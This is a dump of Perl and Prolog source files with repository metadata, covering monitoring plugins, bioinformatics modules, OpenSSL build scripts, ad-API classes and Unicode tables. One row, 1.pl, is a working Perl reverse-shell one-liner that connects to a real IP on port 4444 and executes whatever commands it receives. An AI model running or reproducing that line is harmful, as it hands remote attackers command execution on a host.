code stringlengths 2 1.05M | repo_name stringlengths 5 101 | path stringlengths 4 991 | language stringclasses 3
values | license stringclasses 5
values | size int64 2 1.05M |
|---|---|---|---|---|---|
:- module(config_http_auth, []).
:- use_module(swish(lib/config), []).
/** <module> Optional HTTP based authentication
Enable optional HTTP based authentication.
Note that lib/authenticate.pl supports both HTTP _basic_ and HTTP
_digest_ login. Please make sure to understand the security issues
involved ... | TeamSPoon/logicmoo_workspace | packs_web/swish/config-available/auth_http.pl | Perl | mit | 1,311 |
#!/usr/bin/env swipl
:- module(logicmoo_wamcl,[]).
:- reexport(library(wamcl_runtime)).
| TeamSPoon/logicmoo_base | prolog/logicmoo_wamcl.pl | Perl | mit | 91 |
#
# Copyright 2017 Centreon (http://www.centreon.com/)
#
# Centreon is a full-fledged industry-strength solution that meets
# the needs in IT infrastructure and application monitoring for
# service performance.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in com... | maksimatveev/centreon-plugins | apps/centreon/local/plugin.pm | Perl | apache-2.0 | 1,605 |
#! /usr/bin/env perl
# Copyright 2021 The OpenSSL Project Authors. All Rights Reserved.
#
# Licensed under the Apache License 2.0 (the "License"). You may not use
# this file except in compliance with the License. You can obtain a copy
# in the file LICENSE in the source distribution or at
# https://www.openssl.org/s... | jens-maus/amissl | openssl/util/perl/OpenSSL/copyright.pm | Perl | bsd-3-clause | 1,129 |
#!/usr/bin/perl -Tw
#-
# Copyright (c) 2002 Dag-Erling Coïdan Smørgrav
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
# 1. Redistributions of source code must retain the above copyright
# no... | jhbsz/OSI-OS | tools/tools/mtxstat/mtxstat.pl | Perl | bsd-3-clause | 3,853 |
# FIPS assembly language preprocessor
# Renames all symbols in the file to
# their modified fips versions.
my @ARGS = @ARGV;
my $top = shift @ARGS;
my $target = shift @ARGS;
my $runasm = 1;
if ($ARGS[0] eq "norunasm")
{
$runasm = 0;
shift @ARGS;
}
my $enabled = 0;
$enabled = 1 if $ENV{FIPSCANISTERINTERNAL} ... | GaloisInc/hacrypto | src/C/openssl/openssl-fips-ecp-2.0.9/util/fipsas.pl | Perl | bsd-3-clause | 1,172 |
###############################################################################
#
# Package: NaturalDocs::Menu::Entry
#
###############################################################################
#
# A class representing an entry in the menu.
#
###################################################################... | IbpTeam/node-nodegit | vendor/naturaldocs/Modules/NaturalDocs/Menu/Entry.pm | Perl | mit | 5,350 |
package bigrat;
use 5.006;
$VERSION = '0.23';
require Exporter;
@ISA = qw( bigint );
@EXPORT_OK = qw( PI e bpi bexp );
@EXPORT = qw( inf NaN );
use strict;
use overload;
require bigint; # no "use" to avoid callind import
##############################################################################
BEGIN
{
... | leighpauls/k2cro4 | third_party/cygwin/lib/perl5/5.10/bigrat.pm | Perl | bsd-3-clause | 14,442 |
use strict;
while ( $r ) {
printf ( "Example text \n" );
sleep 1;
} | sdottaka/mruby-bin-scite-mruby | tools/scintilla/test/examples/x.pl | Perl | mit | 71 |
use Win32::OLE 'in';
use Math::BigInt;
my $DirectoryName="c:\\emacs"; #experimenteer met andere waarden
my $ShowLevel = 2;
my $WbemServices = Win32::OLE->GetObject("winMgmts://./root/cimv2");
my $Directory = $WbemServices->Get("Win32_Directory='$DirectoryName'");
#Alternatief met een query
my $DirectoryName="c:\\\... | VDBBjorn/Besturingssystemen-III | Labo/reeks4/Reeks4_22.pl | Perl | mit | 1,128 |
#!/usr/bin/perl
# Programmer.pl - Program to feed Intel HEX files produced by SDCC to the nRF24LE1 Arduino
# programmer sketch.
# Copyright (c) 2014 Dean Cording
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), ... | baruch/nRF24LE1_Programmer | ReadInfopage.pl | Perl | mit | 1,492 |
#!/usr/bin/perl
use strict;
use warnings;
if (scalar(@ARGV) != 1 ) {
die "Usage: $0 file.pgn\n";
}
else {
# nothing.
}
my $this_file = shift @ARGV;
my $this_suffix = ".pgn";
if ($this_file =~ /$this_suffix/) {
# nothing.
}
else {
die "File error! Usage: $0 file.pgn\n";
}
#my $sheet = $this_file;
#$sheet =~ s/$t... | testviking/chess-material-search | bin/create_keys_file.pl | Perl | mit | 1,177 |
package Svg::File;
require 5.000;
require Exporter;
@ISA = qw(Exporter);
@EXPORT_OK = qw(new header open close);
use Svg::Std qw(message_err message_out svgPrint indent newline);
use strict qw( subs vars refs );
@Svg::File::ISA = qw( Svg::Graphics );
# creates new object
# USAGE: my $FileObj = Svg::File->new();
su... | ablifedev/ABLIRC | ABLIRC/bin/Clip-Seq/ABLIFE/svg/Svg/File.pm | Perl | mit | 6,481 |
package GAL::Parser::ucsc_gene_table;
use strict;
use vars qw($VERSION);
$VERSION = 0.2.0;
use base qw(GAL::Parser);
use GAL::Reader::DelimitedLine;
=head1 NAME
GAL::Parser::ucsc_gene_table - Parse UCSC gene table files.
knownGene.txt
refGene.txt
ccdsGene.txt
wgEncodeGencodeManualV4.txt
vegaGen... | 4ureliek/TEanalysis | Lib/GAL/Parser/ucsc_gene_table.pm | Perl | mit | 9,606 |
use 5.020;
package Bot::BasicBot::Pluggable::Module::Substitution {
our $VERSION = '0.01';
use parent 'Bot::BasicBot::Pluggable::Module';
sub help {
"Handles s///"
}
sub told {
my ($self, $msg) = @_;
my $nick = $msg->{who};
my $channel = $msg->{channel};
if... | tadzik/golbot | Bot/BasicBot/Pluggable/Module/Substitution.pm | Perl | mit | 1,054 |
# !!!!!!! DO NOT EDIT THIS FILE !!!!!!!
# This file is machine-generated by lib/unicore/mktables from the Unicode
# database, Version 12.1.0. Any changes made here will be lost!
# !!!!!!! INTERNAL PERL USE ONLY !!!!!!!
# This file is for internal use by core Perl only. The format and even the
# name or exist... | operepo/ope | client_tools/svc/rc/usr/share/perl5/core_perl/unicore/lib/Sc/Orya.pl | Perl | mit | 631 |
#!/usr/bin/env perl
use Gtk3 '-init';
my $window = Gtk3::Window->new();
$window->set_title('AspectFrame');
$window->set_default_size(200, 200);
$window->signal_connect('destroy' => sub {Gtk3->main_quit});
my $label = Gtk3::Label->new('Label in a Frame');
my $aspectframe = Gtk3::AspectFrame->new('AspectFrame', 0, 0,... | Programmica/perl-gtk3-examples | aspectframe.pl | Perl | cc0-1.0 | 457 |
#
# Copyright 2018 Centreon (http://www.centreon.com/)
#
# Centreon is a full-fledged industry-strength solution that meets
# the needs in IT infrastructure and application monitoring for
# service performance.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in com... | wilfriedcomte/centreon-plugins | network/hirschmann/standard/snmp/mode/components/fan.pm | Perl | apache-2.0 | 2,576 |
#!/usr/bin/env perl
use strict;
use warnings;
use Text::Delimited;
use Getopt::Long;
use BioSD;
use DBI;
use List::Util qw();
my $sample_file = '/nfs/1000g-archive/vol1/ftp/technical/working/20130606_sample_info/20130606_sample_info.txt';
my $biosample_group = 'SAMEG305842';
my ($dbname, $dbhost, $dbuser, $dbport, $d... | igsr/igsr-code | scripts/elasticsearch/populate_samples.mysql.pl | Perl | apache-2.0 | 2,703 |
#
# Copyright 2019 Centreon (http://www.centreon.com/)
#
# Centreon is a full-fledged industry-strength solution that meets
# the needs in IT infrastructure and application monitoring for
# service performance.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in com... | Sims24/centreon-plugins | network/redback/snmp/mode/components/psu.pm | Perl | apache-2.0 | 2,944 |
=head1 LICENSE
Copyright [1999-2015] Wellcome Trust Sanger Institute and the EMBL-European Bioinformatics Institute
Copyright [2016-2017] EMBL-European Bioinformatics Institute
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obta... | willmclaren/ensembl-variation | modules/Bio/EnsEMBL/Variation/TranscriptVariationAllele.pm | Perl | apache-2.0 | 67,812 |
#
# Copyright 2022 Centreon (http://www.centreon.com/)
#
# Centreon is a full-fledged industry-strength solution that meets
# the needs in IT infrastructure and application monitoring for
# service performance.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in com... | centreon/centreon-plugins | cloud/azure/management/automation/mode/discovery.pm | Perl | apache-2.0 | 1,318 |
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed und... | delphix/dxtoolkit | lib/Container_obj.pm | Perl | apache-2.0 | 3,278 |
package Moose::Exception::MetaclassMustBeASubclassOfMooseMetaClass;
our $VERSION = '2.1404';
use Moose;
extends 'Moose::Exception';
with 'Moose::Exception::Role::Class';
sub _build_message {
my $self = shift;
"The Metaclass ".$self->class_name." must be a subclass of Moose::Meta::Class."
}
1;
| ray66rus/vndrv | local/lib/perl5/x86_64-linux-thread-multi/Moose/Exception/MetaclassMustBeASubclassOfMooseMetaClass.pm | Perl | apache-2.0 | 305 |
package Google::Ads::AdWords::v201402::SharedSetService::RequestHeader;
use strict;
use warnings;
{ # BLOCK to scope variables
sub get_xmlns { 'https://adwords.google.com/api/adwords/cm/v201402' }
__PACKAGE__->__set_name('RequestHeader');
__PACKAGE__->__set_nillable();
__PACKAGE__->__set_minOccurs();
__PACKAGE__->_... | gitpan/GOOGLE-ADWORDS-PERL-CLIENT | lib/Google/Ads/AdWords/v201402/SharedSetService/RequestHeader.pm | Perl | apache-2.0 | 1,023 |
#!/usr/bin/perl
package CQS::RNASeq;
use strict;
use warnings;
use File::Copy;
use File::Basename;
use List::Compare;
use CQS::PBS;
use CQS::FileUtils;
use CQS::StringUtils;
use CQS::ConfigUtils;
use CQS::SystemUtils;
use CQS::NGSCommon;
use CQS::ClassFactory;
require Exporter;
our @ISA = qw(Export... | realizor/ngsperl | lib/CQS/RNASeq.pm | Perl | apache-2.0 | 15,371 |
# Copyright 2020, Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... | googleads/google-ads-perl | lib/Google/Ads/GoogleAds/V9/Resources/AdGroupAsset.pm | Perl | apache-2.0 | 1,183 |
package VMOMI::InvalidController;
use parent 'VMOMI::InvalidDeviceSpec';
use strict;
use warnings;
our @class_ancestors = (
'InvalidDeviceSpec',
'InvalidVmConfig',
'VmConfigFault',
'VimFault',
'MethodFault',
);
our @class_members = (
['controllerKey', undef, 0, ],
);
sub get_class_ancestor... | stumpr/p5-vmomi | lib/VMOMI/InvalidController.pm | Perl | apache-2.0 | 514 |
# Copyright (c) 2015 Timm Murray
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributions of source code must retain the above copyright notice,
# this list of conditio... | frezik/UAV-Pilot-ARDrone | lib/UAV/Pilot/ARDrone.pm | Perl | bsd-2-clause | 5,184 |
#!/usr/bin/env perl
use strict;
use warnings;
use Dumpvalue;
use Error::Pure::NoDie qw(err);
use Error::Pure::Utils qw(err_get);
# Error in eval.
eval { err '1', '2', '3'; };
# Error structure.
my @err = err_get();
# Dump.
my $dump = Dumpvalue->new;
$dump->dumpValues(\@err);
# In \@err:
# [
# {
# ... | tupinek/Error-Pure-NoDie | examples/ex4.pl | Perl | bsd-2-clause | 1,160 |
#!/usr/bin/env perl
# Copyright (c) 2014-2015, Roman Khomasuridze, <khomasuridze@gmail.com>
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the a... | alkali147/fbilling | src/fbilling-libs/utils/refill.pl | Perl | bsd-2-clause | 2,658 |
perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"167.114.98.148:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'
| kurtcoke/randomcrap | 1.pl | Perl | bsd-3-clause | 234 |
#!/usr/bin/perl -w
#
# MD5 optimized for AMD64.
#
# Author: Marc Bevand <bevand_m (at) epita.fr>
# Licence: I hereby disclaim the copyright on this code and place it
# in the public domain.
#
use strict;
my $code;
# round1_step() does:
# dst = x + ((dst + F(x,y,z) + X[k] + T_i) <<< s)
# %r10d = X[... | jiangzhu1212/oooii | Ouroboros/External/OpenSSL/openssl-1.0.0e/crypto/md5/asm/md5-x86_64.pl | Perl | mit | 12,802 |
/* Part of XPCE --- The SWI-Prolog GUI toolkit
Author: Jan Wielemaker and Anjo Anjewierden
E-mail: jan@swi.psy.uva.nl
WWW: http://www.swi.psy.uva.nl/projects/xpce/
Copyright (c) 1995-2011, University of Amsterdam
All rights reserved.
Redistribution and use in source a... | TeamSPoon/logicmoo_workspace | docker/rootfs/usr/local/lib/swipl/xpce/prolog/demo/juggler.pl | Perl | mit | 3,957 |
package Paws::CloudHSM::ListHsmsResponse;
use Moose;
has HsmList => (is => 'ro', isa => 'ArrayRef[Str|Undef]');
has NextToken => (is => 'ro', isa => 'Str');
has _request_id => (is => 'ro', isa => 'Str');
### main pod documentation begin ###
=head1 NAME
Paws::CloudHSM::ListHsmsResponse
=head1 ATTRIBUTES
... | ioanrogers/aws-sdk-perl | auto-lib/Paws/CloudHSM/ListHsmsResponse.pm | Perl | apache-2.0 | 572 |
package Google::Ads::AdWords::v201406::CampaignSharedSetError;
use strict;
use warnings;
__PACKAGE__->_set_element_form_qualified(1);
sub get_xmlns { 'https://adwords.google.com/api/adwords/cm/v201406' };
our $XML_ATTRIBUTE_CLASS;
undef $XML_ATTRIBUTE_CLASS;
sub __get_attr_class {
return $XML_ATTRIBUTE_CLASS;
... | gitpan/GOOGLE-ADWORDS-PERL-CLIENT | lib/Google/Ads/AdWords/v201406/CampaignSharedSetError.pm | Perl | apache-2.0 | 2,231 |
#!/usr/bin/perl -w
#$FreeBSD: soc2013/dpl/head/sys/dev/cxgb/bin2h.pl 189686 2009-03-10 19:22:45Z gnn $
if ($#ARGV != 1) {
print "bin2h.pl <firmware> <headername>\n";
exit 1;
}
my $success = open INPUT, "$ARGV[0]";
unless ($success) {
print "failed to open input\n";
exit 1;
}
$success = open OUTPUT, ">$ARGV... | dplbsd/zcaplib | head/sys/dev/cxgb/bin2h.pl | Perl | bsd-2-clause | 2,490 |
##**************************************************************
##
## Copyright (C) 1990-2007, Condor Team, Computer Sciences Department,
## University of Wisconsin-Madison, WI.
##
## Licensed under the Apache License, Version 2.0 (the "License"); you
## may not use this file except in compliance with the License. Y... | htcondor/htcondor | src/condor_tests/ConfigTools.pm | Perl | apache-2.0 | 1,642 |
#-----------------------------------------------------------
# banner
# Get banner information from the SOFTWARE hive file (if any)
#
# Written By:
# Special Agent Brook William Minnick
# Brook_Minnick@doioig.gov
# U.S. Department of the Interior - Office of Inspector General
# Computer Crimes Unit
# 12030 Sunrise Val... | mhmdfy/autopsy | RecentActivity/release/rr-full/plugins/banner.pl | Perl | apache-2.0 | 2,978 |
#!/usr/bin/perl
use strict;
use warnings;
use lib qw(blib/lib blib/arch/auto/Person);
use Time::HiRes qw(tv_interval gettimeofday);
use Person;
my $start;
my $elapsed;
my $REPEAT = 10000;
my $id = 123;
my $name = 'Bob';
my $email = 'bob@example.com';
my $data;
my $packed;
my $person = Person->new;
$start = ... | sombr/protobuf-perlxs | examples/simple/test.pl | Perl | apache-2.0 | 1,899 |
# !!!!!!! DO NOT EDIT THIS FILE !!!!!!!
# This file is machine-generated by mktables from the Unicode
# database, Version 6.1.0. Any changes made here will be lost!
# !!!!!!! INTERNAL PERL USE ONLY !!!!!!!
# This file is for internal use by core Perl only. The format and even the
# name or existence of this ... | Dokaponteam/ITF_Project | xampp/perl/lib/unicore/lib/Perl/XPosixPu.pl | Perl | mit | 1,656 |
package Mojolicious::Command::inflate;
use Mojo::Base 'Mojolicious::Command';
use Mojo::Loader qw(data_section file_is_binary);
use Mojo::Util 'encode';
has description => 'Inflate embedded files to real files';
has usage => sub { shift->extract_usage };
sub run {
my $self = shift;
# Find all embedded files
m... | ashkanx/binary-mt | scripts/local/lib/perl5/Mojolicious/Command/inflate.pm | Perl | apache-2.0 | 2,532 |
# !!!!!!! DO NOT EDIT THIS FILE !!!!!!!
# This file is built by mktables from e.g. UnicodeData.txt.
# Any changes made here will be lost!
#
# This file supports:
# \p{N}
# \p{N} (and fuzzy permutations)
#
# Meaning: Major Category 'N'
#
return <<'END';
0030 0039
00B2 00B3
00B9
00BC 00BE
0660 0669
06F0 06... | leighpauls/k2cro4 | third_party/cygwin/lib/perl5/5.10/unicore/lib/gc_sc/N.pl | Perl | bsd-3-clause | 1,020 |
use strict;
use CXGN::Page;
my $page=CXGN::Page->new('chr1c.html','html2pl converter');
$page->header('Chromosome 1');
print<<END_HEREDOC;
<br />
<br />
<center>
<h1><a href="chr1_split.pl">Chromosome 1</a></h1>
<h3>- Section C -</h3>
<br />
<br />
<table summary="">
<tr>
<td align... | solgenomics/sgn | cgi-bin/maps/tomato_arabidopsis/chr1c.pl | Perl | mit | 525 |
package WorldCup::Command::matches;
# ABSTRACT: All match data, updated every minute.
use strict;
use warnings;
use WorldCup -command;
use JSON;
use LWP::UserAgent;
use File::Basename;
use Term::ANSIColor;
sub opt_spec {
return (
[ "outfile|o=s", "A file to place the match data information" ],
);
}
sub... | sestaton/WorldCupStats | lib/WorldCup/Command/matches.pm | Perl | mit | 4,734 |
#
# $Header: svn://svn/SWM/trunk/web/RegoForm.pm 10840 2014-02-27 23:24:15Z apurcell $
#
package RegoForm;
require Exporter;
@ISA = qw(Exporter);
@EXPORT = qw(
getRegoFormText
regoform_text_edit
update_regoformtext
regoform_products
update_regoform_products
regoform_teamcomps
update_reg... | facascante/slimerp | fifs/web/RegoFormBuilder/RegoForm.pm | Perl | mit | 46,721 |
#!/usr/bin/perl -w
##
##
## Copyright 2000, University of Washington
## This document contains private and confidential information and
## its disclosure does not constitute publication. All rights are
## reserved by University of Washington, except those specifically
## granted by license.
##
##
## Initial A... | jaumebonet/FoldFromLoopsTutorial | benchmark/scientific/interleukin/complete_structure/getBluePrintFromCoords.pl | Perl | mit | 12,336 |
package MovieWorld::Schema;
use base qw/DBIx::Class::Schema/;
__PACKAGE__->load_namespaces;
1; | betrakiss/MovieWorld | app/lib/MovieWorld/Schema.pm | Perl | mit | 96 |
#!/usr/bin/perl -w
use strict;
use Bio::AlignIO;
use Bio::DB::Fasta;
use Bio::Tools::Run::Alignment::Muscle;
my $sUsage = qq(
perl $0
<cluster file with chromosome assigned>
<all9line fasta file>
<output file>
);
die $sUsage unless @ARGV >= 3;
my ($cluster_file, $infasta, $output) = @ARGV;
my $gn_obj = Bio::DB::Fast... | swang8/Perl_scripts_misc | generate_homeologs_from_clusters_and_contigs.pl | Perl | mit | 1,787 |
%Source: Sterling, Shapiro - The Art of Prolog. Program 8.1 - Program 8.12.
%query:between(g,g,g).
between(I,J,I) :- I =< J.
between(I,J,K) :- I < J, I1 is I + 1, between(I1, J, K).
| ComputationWithBoundedResources/ara-inference | doc/tpdb_trs/Prolog/Art-of-prolog/program-8-5.pl | Perl | mit | 182 |
# !!!!!!! DO NOT EDIT THIS FILE !!!!!!!
# This file is machine-generated by lib/unicore/mktables from the Unicode
# database, Version 12.1.0. Any changes made here will be lost!
# !!!!!!! INTERNAL PERL USE ONLY !!!!!!!
# This file is for internal use by core Perl only. The format and even the
# name or exist... | operepo/ope | client_tools/svc/rc/usr/share/perl5/core_perl/unicore/lib/Scx/Han.pl | Perl | mit | 903 |
/* Part of SWI-Prolog
Author: Jan Wielemaker
E-mail: J.Wielemaker@cs.vu.nl
WWW: http://www.swi-prolog.org
Copyright (C): 2014, VU University Amsterdam
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public Lice... | TeamSPoon/logicmoo_workspace | packs_web/plweb/annotation.pl | Perl | mit | 2,956 |
#!perl -w
open F, 'dir /b/s *.pas|';
while(<F>){
chomp;
s/\.pas/.dcu/;
s/.+\\//;
$p = "..\\libs7\\lib\\dcu\\$_";
-f $p or next;
print "$p\n";
unlink $p;
}
close F;
@specials = qw~
okFramelist.dcu
~;
for (@specials){
$p = "..\\libs7\\lib\\dcu\\$_";
-f $p or next;
print "$p... | kadavris/ok-sklad | Production7/clear_libbed_dcus.pl | Perl | mit | 343 |
#! /usr/bin/perl -w
use strict;
sub format_money{
my $money = sprintf "%.2f", shift @_;
1 while $money =~ s/^(-?\d+)(\d{3})/$1,$2/;
$money =~ s/^(-?)/$1\$/;
$money;
}
print format_money(1234567890.1234567890);
# 我们为什么不能使用/g 修饰符来进行一个“全面的”查找- 替换,以防止使用容易混淆的 1 while 循环呢?我们不能用它,因
# 为我们是从小数点开始(向前),而非从字符串开始。如此将逗号加入数字,是不... | yuweijun/learning-programming | language-perl/sprintf.pl | Perl | mit | 508 |
# !!!!!!! DO NOT EDIT THIS FILE !!!!!!!
# This file is machine-generated by lib/unicore/mktables from the Unicode
# database, Version 12.1.0. Any changes made here will be lost!
# !!!!!!! INTERNAL PERL USE ONLY !!!!!!!
# This file is for internal use by core Perl only. The format and even the
# name or exist... | operepo/ope | client_tools/svc/rc/usr/share/perl5/core_perl/unicore/lib/GrBase/Y.pl | Perl | mit | 9,925 |
#
# Copyright 2021 Centreon (http://www.centreon.com/)
#
# Centreon is a full-fledged industry-strength solution that meets
# the needs in IT infrastructure and application monitoring for
# service performance.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in com... | Tpo76/centreon-plugins | cloud/azure/database/mysql/mode/memory.pm | Perl | apache-2.0 | 5,154 |
=head1 LICENSE
Copyright [1999-2015] Wellcome Trust Sanger Institute and the EMBL-European Bioinformatics Institute
Copyright [2016-2019] EMBL-European Bioinformatics Institute
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obta... | muffato/ensembl | modules/Bio/EnsEMBL/Utils/Converter/bio_ens_featurePair.pm | Perl | apache-2.0 | 5,056 |
=head1 LICENSE
# Copyright [1999-2015] Wellcome Trust Sanger Institute and the EMBL-European Bioinformatics Institute
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.ap... | mn1/ensembl-analysis | modules/Bio/EnsEMBL/Analysis/RunnableDB/CopyGenes.pm | Perl | apache-2.0 | 4,368 |
package Google::Ads::AdWords::v201402::LongRangeAttribute;
use strict;
use warnings;
__PACKAGE__->_set_element_form_qualified(1);
sub get_xmlns { 'https://adwords.google.com/api/adwords/o/v201402' };
our $XML_ATTRIBUTE_CLASS;
undef $XML_ATTRIBUTE_CLASS;
sub __get_attr_class {
return $XML_ATTRIBUTE_CLASS;
}
u... | gitpan/GOOGLE-ADWORDS-PERL-CLIENT | lib/Google/Ads/AdWords/v201402/LongRangeAttribute.pm | Perl | apache-2.0 | 1,668 |
=head1 LICENSE
Copyright [1999-2014] Wellcome Trust Sanger Institute and the EMBL-European Bioinformatics Institute
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licen... | willmclaren/ensembl | modules/Bio/EnsEMBL/Map/Ditag.pm | Perl | apache-2.0 | 5,346 |
#!/usr/bin/perl
#
# Write a summary of a TAP file in a format suitable for Buildkite Annotations
use strict;
use warnings FATAL => 'all';
use TAP::Parser;
# Get tap results filename and CI build name from argv
my $tap_file = $ARGV[0];
my $build_name = $ARGV[1];
my $parser = TAP::Parser->new( { source => $tap_file }... | matrix-org/sytest | scripts/format_tap.pl | Perl | apache-2.0 | 1,335 |
#
# Copyright 2022 Centreon (http://www.centreon.com/)
#
# Centreon is a full-fledged industry-strength solution that meets
# the needs in IT infrastructure and application monitoring for
# service performance.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in com... | centreon/centreon-plugins | cloud/prometheus/exporters/nodeexporter/mode/storage.pm | Perl | apache-2.0 | 10,451 |
#!/usr/bin/env perl
#***************************************************************************
# _ _ ____ _
# Project ___| | | | _ \| |
# / __| | | | |_) | |
# | (__| |_| | _ <| |___
# ... | LiberatorUSA/GUCEF | dependencies/curl/tests/testcurl.pl | Perl | apache-2.0 | 21,619 |
package Paws::WAFRegional::UpdateSizeConstraintSet;
use Moose;
has ChangeToken => (is => 'ro', isa => 'Str', required => 1);
has SizeConstraintSetId => (is => 'ro', isa => 'Str', required => 1);
has Updates => (is => 'ro', isa => 'ArrayRef[Paws::WAFRegional::SizeConstraintSetUpdate]', required => 1);
use Mo... | ioanrogers/aws-sdk-perl | auto-lib/Paws/WAFRegional/UpdateSizeConstraintSet.pm | Perl | apache-2.0 | 2,644 |
=head1 LICENSE
Copyright (c) 1999-2011 The European Bioinformatics Institute and
Genome Research Limited. All rights reserved.
This software is distributed under a modified Apache license.
For license details, please see
http://www.ensembl.org/info/about/code_licence.html
=head1 CONTACT
Please email comme... | adamsardar/perl-libs-custom | EnsemblAPI/ensembl-variation/modules/Bio/EnsEMBL/Variation/DBSQL/IndividualGenotypeAdaptor.pm | Perl | apache-2.0 | 3,284 |
# Copyright 2020, Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... | googleads/google-ads-perl | lib/Google/Ads/GoogleAds/V9/Resources/ConversionTrackingSetting.pm | Perl | apache-2.0 | 1,162 |
:- module(_, _, [functions]).
:- use_module(library(terms)).
:- use_module(ciaosrc('CIAOSETTINGS')).
:- use_module(ciaosrc('CIAOSHARED')).
:- reexport(ciaosrc('doc/common/LPDOCCOMMON')).
:- reexport(ciaosrc('CIAOSETTINGS'), [lpdoclib/1]).
:- redefining(_).
:- discontiguous fileoption/2.
% -*- mode: Makefile; -*-
%... | leuschel/ecce | www/CiaoDE/ciao/library/javaobs/Doc/LPSETTINGS.pl | Perl | apache-2.0 | 7,248 |
#!/usr/bin/env perl
package Interhack::Plugin::IO::Terminal;
use Calf::Role qw/to_user from_user/;
use Term::ReadKey;
our $VERSION = '1.99_01';
# attributes {{{
# }}}
# methods {{{
sub to_user # {{{
{
my $self = shift;
my ($text) = @_;
print $text;
} # }}}
sub from_user # {{{
{
my $self = shift;
... | TAEB/Interhack2 | lib/Interhack/Plugin/IO/Terminal.pm | Perl | bsd-3-clause | 381 |
package Paws::StorageGateway::DescribeBandwidthRateLimitOutput;
use Moose;
has AverageDownloadRateLimitInBitsPerSec => (is => 'ro', isa => 'Int');
has AverageUploadRateLimitInBitsPerSec => (is => 'ro', isa => 'Int');
has GatewayARN => (is => 'ro', isa => 'Str');
has _request_id => (is => 'ro', isa => 'Str')... | ioanrogers/aws-sdk-perl | auto-lib/Paws/StorageGateway/DescribeBandwidthRateLimitOutput.pm | Perl | apache-2.0 | 905 |
# Copyright [1999-2015] Wellcome Trust Sanger Institute and the EMBL-European Bioinformatics Institute
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/license... | ckongEbi/ensembl-compara | docs/workshop/API_workshop_exercises/family1.pl | Perl | apache-2.0 | 1,398 |
sub test {
my %obj = ( 'xxx1' => 1, 'xxx2' => 2, 'xxx3' => 3, 'xxx4' => 4, 'foo' => 123 );
my $i;
my $ign;
for ($i = 0; $i < 1e8; $i++) {
$ign = $obj{'foo'};
}
}
test();
| kphillisjr/duktape | tests/perf/test-prop-read.pl | Perl | mit | 200 |
# !!!!!!! DO NOT EDIT THIS FILE !!!!!!!
# This file is machine-generated by mktables from the Unicode
# database, Version 6.1.0. Any changes made here will be lost!
# !!!!!!! INTERNAL PERL USE ONLY !!!!!!!
# This file is for internal use by core Perl only. The format and even the
# name or existence of this ... | Dokaponteam/ITF_Project | xampp/perl/lib/unicore/lib/Nv/1_5.pl | Perl | mit | 418 |
package DDG::Goodie::UN;
# ABSTRACT: Gives a description for a given UN number
use strict;
use DDG::Goodie;
use Number::UN 'get_un';
attribution github => ['tantalor', 'John Tantalo'],
github => ['https://github.com/ozdemirburak', 'Burak Özdemir'];
primary_example_queries 'UN Number 0009';
description 'gives a descr... | jophab/zeroclickinfo-goodies | lib/DDG/Goodie/UN.pm | Perl | apache-2.0 | 1,533 |
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not u... | dmlc/mxnet | perl-package/AI-MXNet-Gluon-ModelZoo/lib/AI/MXNet/Gluon/ModelZoo/Vision/MobileNet.pm | Perl | apache-2.0 | 16,580 |
#!/usr/bin/perl
#
# copyright (c) 2011
# Author: Jeffrey I Cohen
use POSIX;
use Pod::Usage;
use Getopt::Long;
use Data::Dumper;
use strict;
use warnings;
# SLZY_POD_HDR_BEGIN
# WARNING: DO NOT MODIFY THE FOLLOWING POD DOCUMENT:
# Generated by sleazy.pl version 4 (release Fri Jul 8 15:26:54 2011)
# Make any changes u... | xuegang/gpdb | src/include/catalog/catullus.pl | Perl | apache-2.0 | 29,129 |
require Cwd;
require Pod::Html;
require Config;
use File::Spec::Functions;
sub convert_n_test {
my($podfile, $testname) = @_;
my $cwd = Cwd::cwd();
my $base_dir = catdir $cwd, updir(), "lib", "Pod";
my $new_dir = catdir $base_dir, "t";
my $infile = catfile $new_dir, "$podfile.pod";
my $outf... | cristiana214/cristianachavez214-cristianachavez | perl/src/lib/Pod/t/pod2html-lib.pl | Perl | apache-2.0 | 1,471 |
#!/usr/bin/perl
use 5.010;
use strict;
use autodie;
